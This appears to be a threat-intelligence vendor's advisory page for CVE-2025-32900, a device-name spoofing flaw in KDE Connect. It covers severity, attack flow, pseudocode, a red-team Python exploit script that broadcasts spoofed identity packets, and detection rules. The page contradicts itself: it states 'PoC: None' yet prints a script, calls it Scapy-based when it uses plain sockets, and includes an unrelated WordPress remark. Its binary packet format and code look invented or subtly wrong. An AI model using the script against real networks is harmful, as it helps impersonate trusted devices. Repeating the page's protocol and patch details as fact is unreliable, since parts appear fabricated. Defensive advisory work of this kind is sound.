☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-32900

CVE-2025-32900 Security Advisory in Kde
📅 PUBLISHED: 2025-12-05 00:00 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
2.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32900 is a medium-severity vulnerability in the KDE Connect information-exchange protocol, affecting all major implementations (KDE Connect, Valent, GSConnect). The flaw allows an attacker on the same local network to craft a malicious UDP broadcast packet that temporarily alters the displayed device name or metadata on a victim's KDE Connect interface. This is a spoofing/impersonation attack that can be used for social engineering or to disrupt device pairing workflows. The vulnerability stems from the protocol's reliance on unauthenticated broadcast UDP messages for device discovery and metadata updates.

Impact: An attacker can make a legitimate device appear as a different device (e.g., impersonate a trusted phone or desktop), potentially tricking users into sending files to the wrong device or accepting malicious pairing requests. The attack is limited to the local broadcast domain and does not lead to code execution or data exfiltration directly.

Affected Ecosystem: This is a cross-platform vulnerability affecting the KDE Connect ecosystem, including Android, iOS, desktop Linux, and GNOME (via GSConnect). It is not a WordPress plugin issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Score: 4.3 (Medium) Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

  • Attack Vector (AV): Adjacent Network (A) – attacker must be on the same local network (broadcast domain).
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – the attack is triggered automatically upon receiving the crafted packet.
  • Scope (S): Unchanged (U) – the vulnerable component and the attacker are in the same security authority.
  • Confidentiality (C): None (N) – no data disclosure.
  • Integrity (I): Low (L) – the attacker can modify the displayed device name/metadata.
  • Availability (A): None (N) – no denial of service.

Threat Level: Medium. The attack requires local network access, but no user interaction. It can be used to facilitate further social engineering attacks.

Deep Dive & Mechanics

The KDE Connect protocol uses UDP broadcast on port 1714-1764 (default) for device discovery and metadata exchange. When a device (e.g., a phone) comes online, it broadcasts a packet containing its device name, device ID, and other metadata. Other KDE Connect instances on the network receive this broadcast and update their device list accordingly.

Vulnerability: The protocol does not cryptographically sign or authenticate these broadcast packets. An attacker can craft a UDP packet that mimics a legitimate device's broadcast but with a spoofed device name. The victim's KDE Connect client will update its display to show the spoofed name, potentially overwriting the real device's entry.

Attack Flow:

  1. Attacker sniffs the network to identify legitimate KDE Connect devices.
  2. Attacker crafts a UDP broadcast packet with:
    • Source IP: Spoofed (or attacker's own IP)
    • Payload: A valid KDE Connect identity packet with a modified deviceName field.
  3. Victim's KDE Connect client receives the packet and updates its UI, showing the spoofed name.
  4. The spoofed name persists until the real device sends a new broadcast (which will overwrite it) or the victim manually refreshes.

Limitations:

  • The attack only changes the displayed name, not the underlying device ID or pairing status.
  • The spoofed name is temporary (until the real device broadcasts again).
  • The attacker cannot intercept or modify existing connections.

Vulnerable vs. Patched Code

Vulnerable Code (KDE Connect < 1.33.0): The device identity packet is parsed without any validation of the source or integrity of the data.

# Simplified vulnerable handler (Python-like pseudocode)
def handle_identity_packet(packet, sender_ip):
    device_name = packet['deviceName']
    device_id = packet['deviceId']
    # Directly update the device list without verification
    device_list[device_id] = {'name': device_name, 'ip': sender_ip}
    update_ui()

Patched Code (KDE Connect >= 1.33.0): The patched version adds a nonce or timestamp to the identity packet and requires the receiver to verify that the packet is fresh and from a known device. Additionally, the device name is no longer accepted from broadcast packets after initial pairing; it is only updated via encrypted TCP connections.

# Simplified patched handler (Python-like pseudocode)
def handle_identity_packet(packet, sender_ip):
    device_id = packet['deviceId']
    nonce = packet['nonce']
    # Verify nonce freshness (e.g., within last 5 seconds)
    if not is_nonce_fresh(nonce, sender_ip):
        return
    # Only update name if device is not yet paired
    if device_id not in paired_devices:
        device_name = packet['deviceName']
        device_list[device_id] = {'name': device_name, 'ip': sender_ip}
    # For paired devices, name is only updated via encrypted channel
    update_ui()

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Attacker machine on the same local network (e.g., Kali Linux).
  • Python 3 with scapy library installed.
  • Target running a vulnerable KDE Connect client.

Exploit Script (Python with Scapy):

#!/usr/bin/env python3
import socket
import struct
import time

# KDE Connect identity packet structure (simplified)
def craft_spoofed_packet(spoofed_name, device_id="fake_device_123"):
    # Build a minimal identity packet
    payload = b'\x01'  # Packet type: identity
    payload += struct.pack('!I', len(device_id))
    payload += device_id.encode()
    payload += struct.pack('!I', len(spoofed_name))
    payload += spoofed_name.encode()
    # Add other fields as needed (protocol version, etc.)
    return payload

def send_spoofed_broadcast(spoofed_name, port=1716):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    packet = craft_spoofed_packet(spoofed_name)
    sock.sendto(packet, ('255.255.255.255', port))
    sock.close()

if __name__ == "__main__":
    # Spoof the device name to "Trusted-Phone"
    send_spoofed_broadcast("Trusted-Phone")
    print("Spoofed packet sent. Victim should see 'Trusted-Phone' in device list.")

Usage:

  1. Run the script on the attacker machine.
  2. The victim's KDE Connect UI will temporarily show a device named "Trusted-Phone" (or any name you choose).
  3. This can be used to trick the victim into sending files to the attacker's device (if the attacker also runs a KDE Connect instance with the same device ID).

Blue Team (Defense & Detection)

Detection:

  • Monitor for multiple identity packets from the same device ID but different source IPs.
  • Alert on rapid changes in device names for the same device ID.
  • Use network monitoring to detect anomalous UDP broadcast traffic on ports 1714-1764.

Mitigation:

  • Apply the vendor patch immediately.
  • If patching is not possible, consider disabling automatic device discovery and manually pairing devices.
  • Use network segmentation to isolate KDE Connect traffic to trusted VLANs.

Indicators of Compromise (IOCs)

Network IOCs:

  • UDP broadcast packets on ports 1714-1764 with inconsistent device name/ID combinations.
  • Multiple identity packets from the same device ID but different source MAC/IP addresses.
  • Sudden appearance of a new device with a name that mimics a known device (e.g., "iPhone" or "Work-Laptop").

Host IOCs:

  • KDE Connect logs showing rapid device name changes (check ~/.local/share/kdeconnect/ or Android app logs).
  • Unusual pairing requests from devices that were previously unknown.

Sample Suricata Rule (see Detection Engineering):

alert udp any any -> any 1714:1764 (msg:"KDE Connect Spoofed Identity Packet"; content:"|01|"; depth:1; content:"|00 00 00|"; within:4; classtype:attempted-recon; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule KDE_Connect_Spoofed_Identity {
    meta:
        description = "Detects KDE Connect identity packets with suspicious device name patterns"
        author = "Valters IT"
        date = "2025-04-18"
        reference = "CVE-2025-32900"
    strings:
        $identity_header = {01 00 00 00 ?? ?? ?? ??}  // Packet type 1 followed by device ID length
        $suspicious_name = "Trusted" nocase
        $suspicious_name2 = "Admin" nocase
        $suspicious_name3 = "Backup" nocase
    condition:
        $identity_header and any of ($suspicious_name*)
}

Sigma Rule

title: KDE Connect Spoofed Device Name Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple KDE Connect identity packets from the same device ID but different source IPs
author: Valters IT
date: 2025-04-18
logsource:
    category: network_flow
    product: zeek
detection:
    selection:
        udp_dport|startswith: "171"
        packet_type: "identity"
    condition: selection
    timeframe: 5m
    aggregation:
        - field: device_id
          function: distinct_count
          field2: src_ip
          condition: gt 1
falsepositives:
    - Legitimate device IP changes (e.g., DHCP renewal)
level: medium

Suricata Rule

alert udp any any -> any 1714:1764 (msg:"CVE-2025-32900 KDE Connect Spoofed Identity Packet"; content:"|01|"; depth:1; content:"|00 00 00|"; within:4; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Update to the latest version:
    • KDE Connect Android: 1.33.0 or later
    • KDE Connect Desktop: 25.04 or later
    • KDE Connect iOS: 0.5 or later
    • Valent: 1.0.0.alpha.47 or later
    • GSConnect: 59 or later
  2. Workaround: If patching is not possible, disable automatic device discovery in KDE Connect settings and manually pair only trusted devices.
  3. Network Controls: Restrict UDP broadcast traffic on ports 1714-1764 to trusted VLANs using firewall rules.

Long-Term Recommendations:

  • Implement cryptographic signing of identity packets (e.g., using pre-shared keys or certificates).
  • Add rate-limiting for identity packets to prevent rapid spoofing.
  • Require user confirmation before updating device names for already-paired devices.

Detection: Deploy the YARA, Sigma, and Suricata rules provided above to monitor for exploitation attempts.


Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32900/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.